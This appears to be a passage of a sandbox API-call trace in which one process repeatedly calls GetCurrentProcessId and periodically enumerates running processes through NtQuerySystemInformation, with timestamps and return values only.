[0171.164] GetCurrentProcessId () returned 0x10c0 [0171.164] GetCurrentProcessId () returned 0x10c0 [0171.164] GetCurrentProcessId () returned 0x10c0 [0171.164] GetCurrentProcessId () returned 0x10c0 [0171.164] GetCurrentProcessId () returned 0x10c0 [0171.164] GetCurrentProcessId () returned 0x10c0 [0171.164] GetCurrentProcessId () returned 0x10c0 [0171.164] GetCurrentProcessId () returned 0x10c0 [0171.164] GetCurrentProcessId () returned 0x10c0 [0171.164] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.165] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.166] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.167] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.168] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.169] GetCurrentProcessId () returned 0x10c0 [0171.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d9a0) returned 0x0 [0171.962] GetCurrentProcessId () returned 0x10c0 [0171.962] GetCurrentProcessId () returned 0x10c0 [0171.962] GetCurrentProcessId () returned 0x10c0 [0171.962] GetCurrentProcessId () returned 0x10c0 [0171.962] GetCurrentProcessId () returned 0x10c0 [0171.962] GetCurrentProcessId () returned 0x10c0 [0171.962] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.963] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.964] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.965] GetCurrentProcessId () returned 0x10c0 [0171.966] GetCurrentProcessId () returned 0x10c0 [0171.966] GetCurrentProcessId () returned 0x10c0 [0171.966] GetCurrentProcessId () returned 0x10c0 [0171.966] GetCurrentProcessId () returned 0x10c0 [0172.103] GetCurrentProcessId () returned 0x10c0 [0172.103] GetCurrentProcessId () returned 0x10c0 [0172.103] GetCurrentProcessId () returned 0x10c0 [0172.103] GetCurrentProcessId () returned 0x10c0 [0172.103] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.104] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.105] GetCurrentProcessId () returned 0x10c0 [0172.749] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1da40) returned 0x0 [0172.770] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.771] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.772] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.773] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.774] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.775] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.776] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0172.777] GetCurrentProcessId () returned 0x10c0 [0173.527] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1dc20) returned 0x0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.533] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.534] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.535] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.536] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.537] GetCurrentProcessId () returned 0x10c0 [0173.538] GetCurrentProcessId () returned 0x10c0 [0173.538] GetCurrentProcessId () returned 0x10c0 [0173.538] GetCurrentProcessId () returned 0x10c0 [0173.538] GetCurrentProcessId () returned 0x10c0 [0173.538] GetCurrentProcessId () returned 0x10c0 [0173.538] GetCurrentProcessId () returned 0x10c0 [0173.538] GetCurrentProcessId () returned 0x10c0 [0174.333] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1dd10) returned 0x0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.389] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.390] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.391] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.392] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 [0174.393] GetCurrentProcessId () returned 0x10c0 